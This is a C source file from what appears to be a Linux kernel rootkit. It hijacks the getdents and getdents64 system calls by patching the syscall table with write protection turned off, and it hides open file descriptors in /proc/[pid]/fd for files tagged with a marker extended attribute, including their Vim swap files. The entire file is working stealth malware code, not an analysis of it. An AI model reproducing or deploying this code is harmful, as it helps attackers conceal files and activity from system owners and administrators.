openhide.c (5928B)
1 #include <linux/slab.h> 2 #include <linux/fd.h> 3 #include <linux/fs.h> 4 #include <linux/pid.h> 5 #include <linux/sched.h> 6 #include <linux/fdtable.h> 7 #include <linux/dcache.h> 8 #include <linux/xattr.h> 9 #include <linux/namei.h> 10 11 #include "common.h" 12 #include "hook.h" 13 #include "openhide.h" 14 #include "pidhide.h" 15 16 const char *dir_sep = "/"; 17 18 fd_list_t hidden_fds = { 19 .fd = -1, 20 .prev = NULL, 21 .next = NULL, 22 }; 23 24 fd_list_t_ptr hidden_fds_tail = &hidden_fds; 25 26 void 27 hide_open(void) 28 { 29 if (atomic_inc_return(&getdents_install_count) == 1) { 30 disable_protection(); 31 sys_calls[__NR_getdents] = (void *)g7_getdents; 32 sys_calls[__NR_getdents64] = (void *)g7_getdents64; 33 enable_protection(); 34 } 35 } 36 37 void 38 unhide_open(void) 39 { 40 if (atomic_dec_return(&getdents_install_count) < 1) { 41 if (sys_getdents) { 42 disable_protection(); 43 sys_calls[__NR_getdents] = (void *)sys_getdents; 44 enable_protection(); 45 while (atomic_read(&getdents_count) > 0); 46 } 47 48 if (sys_getdents64) { 49 disable_protection(); 50 sys_calls[__NR_getdents64] = (void *)sys_getdents64; 51 enable_protection(); 52 while (atomic_read(&getdents64_count) > 0); 53 } 54 } 55 } 56 57 58 pid_t 59 may_fd(struct file *dirfile) 60 { 61 pid_t tmp = -1; 62 char *buf; 63 64 buf = kzalloc(512, GFP_KERNEL); 65 66 if (dirfile && !strcmp(dirfile->f_path.dentry->d_name.name, "fd")) { 67 //Gets the absolute path name for our string tokenization 68 char *path = d_path(&dirfile->f_path, buf, 512); 69 70 if (!IS_ERR(path)) { 71 char *sub; 72 char *cur = path; 73 74 /** 75 * In the correct directory, the tokens (generated with strsep) 76 * are as follows: {NULL, proc, [PID], fd} 77 * We also don't want the task directory, so the third 78 * token should be _fd_, not task 79 **/ 80 int i = 0; 81 82 while ((sub = (strsep(&cur, dir_sep)))) { 83 switch(i++) { 84 case 1: 85 if (strcmp(sub, "proc")) 86 goto leave; 87 break; 88 case 2: 89 tmp = PID_FROM_NAME(sub); 90 break; 91 case 3: 92 if (!strcmp(sub, "fd")) { 93 kfree(buf); 94 return tmp; 95 } else 96 goto leave; 97 default: 98 break; 99 } 100 } 101 } 102 } 103 104 leave: 105 kfree(buf); 106 return 0; 107 } 108 109 int 110 fd_callback(const void *ptr, struct file *f, unsigned fd) 111 { 112 struct inode *inode = f->f_inode; 113 char *buf = kzalloc(BUFLEN, GFP_KERNEL); 114 115 if (!inode_permission(inode, MAY_READ)) { 116 ssize_t len = vfs_getxattr(f->f_path.dentry, G7_XATTR_NAME, buf, BUFLEN); 117 118 if (len > 0 && !strncmp(G7_XATTR_VAL, buf, strlen(G7_XATTR_VAL))) { 119 add_fd_to_list(&hidden_fds, (int)fd); 120 goto leave; 121 } 122 123 { // Rather hideous hack to account for Vim-{specific,default} swap files 124 const char *fname = f->f_path.dentry->d_name.name; 125 126 if (strlen(fname) >= 6) { 127 char *abs = kzalloc(BUFLEN, GFP_KERNEL); 128 129 if (strncmp(fname, ".", 1) || strncmp((fname + (strlen(fname) - 4)), ".swp", 4)) 130 goto leave; 131 132 memset(buf, 0, BUFLEN); 133 strncpy(buf, (fname + 1), strlen(fname) - 5); 134 135 char *pathname = d_path(&f->f_path, abs, 512); 136 if (IS_ERR(pathname)) 137 goto end; 138 139 memset((pathname + (strlen(pathname) - strlen(fname))), 0, strlen(fname)); 140 strcat(pathname, buf); 141 142 struct path path; 143 if (kern_path(pathname, LOOKUP_FOLLOW, &path)) 144 goto end; 145 146 memset(buf, 0, BUFLEN); 147 ssize_t len = vfs_getxattr(path.dentry, G7_XATTR_NAME, buf, BUFLEN); 148 149 if (len > 0 && !strncmp(G7_XATTR_VAL, buf, strlen(G7_XATTR_VAL))) 150 add_fd_to_list(&hidden_fds, (int)fd); 151 152 end: 153 kfree(abs); 154 goto leave; 155 } 156 } 157 } 158 159 leave: 160 kfree(buf); 161 162 return 0; 163 } 164 165 void 166 fill_fds(pid_t pid) 167 { 168 struct pid *spid; 169 struct task_struct *task; 170 171 if (!(spid = find_get_pid(pid)) || !(task = pid_task(spid, PIDTYPE_PID))) 172 return; 173 174 //https://elixir.bootlin.com/linux/v4.19/source/fs/file.c#L961 175 //Allows us to iterate over the open fds 176 //Conveniently passes our callback a struct file * and also the fd number 177 iterate_fd(task->files, 0, (void *)fd_callback, NULL); 178 } 179 180 void 181 clear_hidden_fds(void) 182 { 183 fd_list_t_ptr i = hidden_fds_tail; 184 while ((i = remove_fd_from_list(i, i->fd))); 185 } 186 187 bool 188 list_contains_fd(fd_list_t_ptr list, int fd) 189 { 190 return !!find_fd_in_list(list, fd); 191 } 192 193 fd_list_t_ptr 194 find_fd_in_list(fd_list_t_ptr head, int fd) 195 { 196 fd_list_t_ptr i; 197 for (i = head; i; i = i->next) 198 if (i->fd == fd) 199 return i; 200 201 return NULL; 202 } 203 204 fd_list_t_ptr 205 add_fd_to_list(fd_list_t_ptr tail, int fd) 206 { 207 fd_list_t_ptr node; 208 node = (fd_list_t_ptr)kmalloc(sizeof(fd_list_t), GFP_KERNEL); 209 210 if (node) { 211 node->fd = fd; 212 node->next = NULL; 213 node->prev = tail; 214 tail->next = node; 215 hidden_fds_tail = node; 216 return node; 217 } 218 219 return NULL; 220 } 221 222 223 fd_list_t_ptr 224 remove_fd_from_list(fd_list_t_ptr list, int fd) 225 { 226 fd_list_t_ptr i = find_fd_in_list(list, fd), ret = NULL; 227 228 if (i && (i->fd != -1)) { 229 if (i->next) 230 i->next->prev = i->prev; 231 else 232 hidden_fds_tail = i->prev ? i->prev : &hidden_fds; 233 234 if (i->prev) { 235 i->prev->next = i->next; 236 ret = i->prev; 237 } 238 239 kfree(i); 240 } 241 242 return ret; 243 }